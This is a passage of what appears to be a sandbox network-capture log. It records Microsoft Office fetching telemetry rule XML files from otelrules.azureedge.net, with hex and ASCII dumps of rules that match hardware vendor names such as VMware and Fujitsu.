2024-10-29 19:35:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193501Z-16849878b7867ttgfbpnfxt44s00000006rg00000000ypub x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193501Z-17c5cb586f6w4mfs5xcmnrny6n00000008u0000000007pw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d3dff139-d01e-002b-5c94-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193501Z-15b8d89586fnsf5zkvx8tfb0zc000000026g000000004afz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193501Z-16849878b7867ttgfbpnfxt44s00000006wg000000008cm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193501Z-15b8d89586fnsf5zkvx8tfb0zc000000021000000000hhwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193502Z-15b8d89586fmhjx6a8nf3qm53c00000000ug000000003yah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193502Z-16849878b786fl7gm2qg4r5y70000000075000000000wddq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193502Z-15b8d89586fdmfsg1u7xrpfws00000000ba00000000036wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 862c7620-501e-0029-4f4f-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-15b8d89586f8l5961kfst8fpb00000000ht0000000005nq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 03fc6633-801e-0048-4d87-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-17c5cb586f64v7xsc2ahm8gsgw00000001x000000000cxsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-r197bdfb6b48v72xb403uy6hns00000007sg000000000a6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193503Z-16849878b78qg9mlz11wgn0wcc00000006p00000000018dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
